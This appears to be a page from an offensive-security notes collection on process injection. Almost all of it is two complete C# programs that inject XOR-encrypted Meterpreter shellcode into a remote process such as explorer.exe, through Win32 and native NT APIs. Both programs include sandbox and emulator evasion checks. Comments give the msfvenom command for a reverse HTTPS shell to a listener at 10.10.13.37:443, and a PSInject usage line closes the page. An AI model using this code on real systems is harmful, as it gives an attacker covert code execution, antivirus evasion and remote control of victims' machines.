Process Injectors
Inject shellcode into remote process's virtual address space

Classic Process Injection

C# DLL via Win32 API

Using standard Win32 API trio:
ProcessInjector.cs
1
using System;
2
using System.Diagnostics;
3
using System.Runtime.InteropServices;
4
5
namespace ProcessInjector
6
{
7
public class Program
8
{
9
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
10
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
11
12
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
13
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
14
15
[DllImport("kernel32.dll")]
16
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
17
18
[DllImport("kernel32.dll")]
19
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
20
21
[DllImport("kernel32.dll")]
22
static extern void Sleep(uint dwMilliseconds);
23
24
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
25
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
26
27
[DllImport("kernel32.dll")]
28
static extern IntPtr GetCurrentProcess();
29
30
public static void Run()
31
{
32
// Check if we're in a sandbox by calling a rare-emulated API
33
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
34
{
35
return;
36
}
37
38
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
39
var rand = new Random();
40
uint dream = (uint)rand.Next(10000, 20000);
41
double delta = dream / 1000 - 0.5;
42
DateTime before = DateTime.Now;
43
Sleep(dream);
44
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
45
{
46
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
47
return;
48
}
49
50
Process[] pList = Process.GetProcessesByName("explorer");
51
if (pList.Length == 0)
52
{
53
// Console.WriteLine("[-] No such process!");
54
System.Environment.Exit(1);
55
}
56
int processId = pList[0].Id;
57
// 0x001F0FFF = PROCESS_ALL_ACCESS
58
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
59
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
60
61
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
62
byte[] buf = new byte[???] {
63
0x31,0x33,...,0x33,0x37 };
64
65
// XOR-decrypt the shellcode
66
for (int i = 0; i < buf.Length; i++)
67
{
68
buf[i] = (byte)(buf[i] ^ (byte)'a');
69
}
70
71
IntPtr outSize;
72
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
73
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
74
}
75
}
76
}
Copied!
When selecting architecture during compilation, remember that there're 4 potential ways to perform the migration:
  1. 1.
    64-bit > 64-bit: succeeds.
  2. 2.
    64-bit > 32-bit: succeeds.
  3. 3.
    32-bit > 32-bit: succeeds.
  4. 4.
    32-bit > 64-bit: fails due to CreateRemoteThread does not natively support it.

C# Executable via Native API

Using Native API quadro:
  • NtCreateSection
  • NtMapViewOfSection
  • RtlCreateUserThread
  • NtUnmapViewOfSection
NtProcessInjector.cs
1
using System;
2
using System.Linq;
3
using System.Diagnostics;
4
using System.Runtime.InteropServices;
5
6
namespace NtProcessInjector
7
{
8
public class Program
9
{
10
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
11
public const uint SECTION_MAP_READ = 0x0004;
12
public const uint SECTION_MAP_WRITE = 0x0002;
13
public const uint SECTION_MAP_EXECUTE = 0x0008;
14
public const uint PAGE_READ_WRITE = 0x04;
15
public const uint PAGE_READ_EXECUTE = 0x20;
16
public const uint PAGE_EXECUTE_READWRITE = 0x40;
17
public const uint SEC_COMMIT = 0x8000000;
18
19
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
20
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
21
22
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
23
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
24
25
[DllImport("ntdll.dll", SetLastError = true)]
26
static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
27
28
[DllImport("ntdll.dll", SetLastError = true)]
29
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
30
31
[DllImport("ntdll.dll", SetLastError = true)]
32
static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stackCommit, IntPtr startAddress, IntPtr parameter, ref IntPtr threadHandle, IntPtr clientId);
33
34
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
35
static extern int NtClose(IntPtr hObject);
36
37
[DllImport("kernel32.dll")]
38
static extern void Sleep(uint dwMilliseconds);
39
40
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
41
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
42
43
[DllImport("kernel32.dll")]
44
static extern IntPtr GetCurrentProcess();
45
46
// BEGIN DEBUG (imports)
47
[DllImport("kernel32.dll", SetLastError = true)]
48
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
49
50
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
51
static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count);
52
53
static bool CompareByteArray(byte[] b1, byte[] b2)
54
{
55
return b1.Length == b2.Length && memcmp(b1, b2, (UIntPtr)b1.Length) == 0;
56
}
57
// END DEBUG
58
59
static void Main(string[] args)
60
{
61
// Check if we're in a sandbox by calling a rare-emulated API
62
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
63
{
64
return;
65
}
66
67
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
68
var rand = new Random();
69
uint dream = (uint)rand.Next(10000, 20000);
70
double delta = dream / 1000 - 0.5;
71
DateTime before = DateTime.Now;
72
Sleep(dream);
73
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
74
{
75
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
76
return;
77
}
78
79
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
80
byte[] buf = new byte[???] {
81
0x31,0x33,...,0x33,0x37 };
82
83
// XOR-decrypt the shellcode
84
for (int i = 0; i < buf.Length; i++)
85
{
86
buf[i] = (byte)(buf[i] ^ (byte)'a');
87
}
88
89
int bufLength = buf.Length;
90
UInt32 uBufLength = (UInt32)bufLength;
91
92
// Get handle on a local process
93
IntPtr hLocalProcess = Process.GetCurrentProcess().Handle;
94
95
// Get handle on a remote process (by name)
96
string processName = args[0];
97
Process[] pList = Process.GetProcessesByName(processName);
98
if (pList.Length == 0)
99
{
100
Console.WriteLine("[-] No such process");
101
return;
102
}
103
int processId = pList.First().Id;
104
IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
105
if (hRemoteProcess == IntPtr.Zero)
106
{
107
Console.WriteLine("[-] Failed to open remote process");
108
return;
109
}
110
111
// Create RWX memory section for the shellcode
112
IntPtr hSection = new IntPtr();
113
if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref uBufLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero) != 0)
114
{
115
Console.WriteLine("[-] Falied to create a section for the shellcode");
116
return;
117
}
118
119
// Map the view of created section into the LOCAL process's virtual address space (as R-W)
120
IntPtr baseAddressL = new IntPtr();
121
ulong sectionOffsetL = new ulong();
122
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetL, out uBufLength, 2, 0, PAGE_READ_WRITE) != 0)
123
{
124
Console.WriteLine("[-] Falied to map the view into local process's space");
125
return;
126
}
127
128
// Map the view of (the same) created section into the REMOTE process's virtual address space (as R-E)
129
IntPtr baseAddressR = new IntPtr();
130
ulong sectionOffsetR = new ulong();
131
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetR, out uBufLength, 2, 0, PAGE_READ_EXECUTE) != 0)
132
{
133
Console.WriteLine("[-] Falied to map the view into remote process's space");
134
return;
135
}
136
137
// Copy the shellcode into the locally mapped view which will be reflected on the remotely mapped view
138
Marshal.Copy(buf, 0, baseAddressL, bufLength);
139
140
// BEGIN DEBUG (check if the shellcode was copied correctly)
141
byte[] remoteMemory = new byte[bufLength];
142
IntPtr bytesRead = new IntPtr();
143
ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, remoteMemory.Length, out bytesRead);
144
if (!CompareByteArray(buf, remoteMemory))
145
{
146
Console.WriteLine("[-] DEBUG: Shellcode bytes read from remotely mapped view do not match with local buf");
147
return;
148
}
149
// END DEBUG
150
151
// Execute the shellcode in a remote thread (also can be done with CreateRemoteThread)
152
//CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0, IntPtr.Zero)
153
IntPtr threadHandle = new IntPtr();
154
if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, baseAddressR, IntPtr.Zero, ref threadHandle, IntPtr.Zero) != IntPtr.Zero)
155
{
156
Console.WriteLine("[-] Failed to create a remote thread");
157
return;
158
}
159
160
Console.WriteLine(quot;[+] Successfully injected shellcode into remote process ({processName}, {processId})");
161
162
// Clean up
163
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
164
NtClose(hSection);
165
}
166
}
167
}
Copied!

Tools

PSInject

1
PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
Copied!